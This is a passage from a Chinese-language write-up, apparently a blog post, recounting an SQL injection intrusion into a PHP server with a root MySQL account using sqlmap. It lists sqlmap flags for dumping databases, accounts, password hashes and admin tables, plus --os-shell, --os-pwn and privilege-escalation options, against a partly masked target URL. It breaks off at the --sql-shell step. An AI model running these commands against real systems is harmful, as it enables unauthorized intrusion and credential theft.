黑客的辛酸历程:使用sqlmap曲折渗透某服务器

在实际渗透测试过程中 , 当发现目标站点存在SQL注入漏洞 , 一般都是交给sqlmap等工具来自动处理 , 证明其存在SQL注入漏洞以及获取数据库;如果当前网站使用的数据库用户为root账号 , 则还可以尝试获取Webshell和提权 。在一般情况下 , 如果发现是root账号 , 则90%以上机会可以获取webshell , 且极有可能获得服务器权限 。
本次渗透过程碰到一种特殊情况:
(1)php网站存在SQL注入漏洞 。
(2)网站使用的用户是Root账号
(3)知道web网站真实物理路径
无法写入Webshell , 无法直接udf提权!尝试了sqlmap有关MySQL数据库渗透的一些技术 , 虽然技术上未能获取webshell , 但最后结合社工 , 成功获取了服务器权限 , 对特定服务器的渗透具有借鉴意义 。
1.1使用sqlmap渗透常规思路1.获取信息
通过“sqlmap -u url”命令对注入点进行漏洞确认 , 然后依次进行以下命令 , 来获取数据库信息:
(1)列数据库信息:--dbs
(2)web当前使用的数据库--current-db
(3)web数据库使用账户 --current-user
(4)列出数据库所有用户 --users
(5)数据库账户与密码 --passwords
(6)指定库名列出所有表 -D databasename--tables
(7)指定库名表名列出所有字段-D antian365 -T admin --columns
(8)指定库名表名字段dump出指定字段
-D secbang_com -T admin -C id,password ,username --dump
-D antian365 -T userb -C"email,Username,userpassword" --dump
2.有root权限的情况下可以系统访问权限尝试
--os-cmd=OSCMD//执行操作系统命令
--os-shell //反弹一个osshell
--os-pwn //pwn , 反弹msf下的shell或者vnc
--os-smbrelay //反弹msf下的shell或者vnc
--os-bof //存储过程缓存溢出
--priv-esc //数据库提权
3.通过查看管理员表 , 来获取管理员账号和密码 , 对加密账号还需要进行破解 。
4.寻找后台地址并登录 。
5.通过后台寻找上传漏洞 , 或者其它漏洞来尝试获取webshell权限 。
1.2使用sqlmap进行全自动获取再确认漏洞后 , 可以使用“sqlmap -uurl --smart --batch -a”自动进行注入 , 自动填写判断 , 获取数据库所有信息 , 包括dump所有数据库的内容 。切记对大数据库尤其谨慎 , 不能用该命令 , 否则会获取大量数据记录 , 原因您懂的 。在本例中测试了该方法 , 可以直接获取该SQL注入漏洞所在站点的所有数据库 , 获取数据不是本次讨论的主要目的 。
1.3直接提权失败 根据前面的介绍 , 直接使用“--os-cmd=whoami”命令来尝试是否可以直接执行命令 , 如图1所示 , 执行命令后 , 需要选择网站脚本语言 , 本次测试是php , 所以选择“4” , 在选择路径中选择“2” , 自定义路径 , 输入“D:/EmpireServer/web”后未能直接执行命令 。

黑客的辛酸历程:使用sqlmap曲折渗透某服务器

文章插图
 
图1无法执行命令
在尝试无法直接执行命令后 , 后面继续测试“--os-shell”也失败的情况下 , 尝试去分析sqlmap的源代码 , 尝试能否直接加入已经获取的网站路径地址 , 来获取权限 。通过分析代码未能找到其相关配置文件 , 无奈之下继续进行后面的测试 。
 
1.4使用sqlmap获取sql-shell权限1.通过sqlmap对SQL注入点加参数“--sql-shell”命令来直接获取数据库shell:
sqlmap.py -uhttp://**.**.**.***/newslist.php?id=2 --sql-shell
执行后如图2所示 , 获取操作系统版本 , web应用程序类型等信息:


    推荐阅读